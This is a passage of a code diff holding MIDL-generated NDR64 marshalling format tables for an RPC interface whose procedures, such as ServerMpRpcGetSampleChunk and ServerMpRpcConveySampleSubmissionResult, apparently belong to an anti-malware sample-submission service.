32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1217_t __midl_frag1217 = +{ +/* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 +}; + +static const __midl_frag1216_t __midl_frag1216 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1215_t __midl_frag1215 = +{ +/* **Struct_2900_t */ + { + /* **Struct_2900_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1216 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1217 + } +}; + +static const __midl_frag1214_t __midl_frag1214 = +{ +/* **Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1215 +}; + +static const __midl_frag1212_t __midl_frag1212 = +{ +/* Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + { + /* Proc127_ServerMpRpcConveyUserChoiceForSampleList */ /* procedure Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1214, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1205_t __midl_frag1205 = +{ +/* Struct_2900_t */ + { + /* Struct_2900_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1203_t __midl_frag1203 = +{ +/* **Struct_2900_t */ + { + /* **Struct_2900_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1298 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1217 + } +}; + +static const __midl_frag1202_t __midl_frag1202 = +{ +/* **Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1203 +}; + +static const __midl_frag1201_t __midl_frag1201 = +{ +/* ***Struct_2900_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1202 +}; + +static const __midl_frag1198_t __midl_frag1198 = +{ +/* Proc126_ServerMpRpcGetSampleListRequiringConsent */ + { + /* Proc126_ServerMpRpcGetSampleListRequiringConsent */ /* procedure Proc126_ServerMpRpcGetSampleListRequiringConsent */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1201, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1194_t __midl_frag1194 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1188_t __midl_frag1188 = +{ +/* Struct_2854_t */ + { + /* Struct_2854_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2854_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag1194, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1187_t __midl_frag1187 = +{ +/* *Struct_2854_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1188 +}; + +static const __midl_frag1186_t __midl_frag1186 = +{ +/* Proc125_ServerMpRpcConveySampleSubmissionResult */ + { + /* Proc125_ServerMpRpcConveySampleSubmissionResult */ /* procedure Proc125_ServerMpRpcConveySampleSubmissionResult */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1188, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1181_t __midl_frag1181 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1180_t __midl_frag1180 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1181 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1179_t __midl_frag1179 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1180 +}; + +static const __midl_frag1178_t __midl_frag1178 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1179 +}; + +static const __midl_frag1173_t __midl_frag1173 = +{ +/* Proc124_ServerMpRpcGetSampleChunk */ + { + /* Proc124_ServerMpRpcGetSampleChunk */ /* procedure Proc124_ServerMpRpcGetSampleChunk */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1178, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1169_t __midl_frag1169 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1164_t __midl_frag1164 = +{ +/* Struct_2798_t */ + { + /* Struct_2798_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2798_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */, + 0, + 0, + &__midl_frag1169, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1163_t __midl_frag1163 = +{ +/* *Struct_2798_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1164 +}; + +static const __midl_frag1162_t __midl_frag1162 = +{ +/* **Struct_2798_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1163 +}; + +static const __midl_frag1160_t __midl_frag1160 = +{ +/* Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + { + /* Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ /* procedure Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 